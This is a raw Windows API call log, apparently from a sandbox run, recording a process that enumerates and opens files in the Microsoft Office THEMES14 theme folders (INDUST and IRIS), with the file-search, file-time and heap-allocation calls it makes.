ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0242.028] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.028] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x918ae0 [0242.028] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x918ae0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x918ae0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.028] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x918ae0) returned 1 [0242.028] NtClose (Handle=0x1b0) returned 0x0 [0242.028] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.028] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.028] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.028] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.028] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.028] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917010 [0242.028] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.029] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.029] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0242.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.029] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.029] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917118 [0242.029] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x911230 [0242.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917220 [0242.029] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.029] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0242.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.029] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.029] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x911250 [0242.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917328 [0242.029] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.029] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.029] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.029] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x911270 [0242.030] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917430 [0242.030] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.030] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.030] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.030] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.030] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.030] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.030] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.030] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x911290 [0242.030] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917538 [0242.030] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.030] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.030] GetLastError () returned 0x12 [0242.030] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.030] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.030] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.030] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0242.030] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0242.030] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.030] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.030] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.030] GetLastError () returned 0x12 [0242.030] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x917010) returned 1 [0242.031] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.031] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x917118) returned 1 [0242.031] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.031] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0242.031] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0242.031] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.032] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x918ae0 [0242.032] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x918ae0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x918ae0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.032] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x918ae0) returned 1 [0242.032] NtClose (Handle=0x1bc) returned 0x0 [0242.032] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.032] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.032] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.032] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.032] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.032] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.032] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0242.032] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.032] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.032] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.032] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.032] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.032] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.032] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.032] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9112b0 [0242.032] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917118 [0242.032] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.032] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0242.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.033] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.033] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9112d0 [0242.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917010 [0242.033] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.033] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.033] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.033] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9136e0 [0242.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917640 [0242.033] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.033] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.033] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.033] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913700 [0242.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917748 [0242.033] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.033] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.033] GetLastError () returned 0x12 [0242.034] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.034] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.034] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.034] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0242.034] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0242.034] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.034] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.034] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", 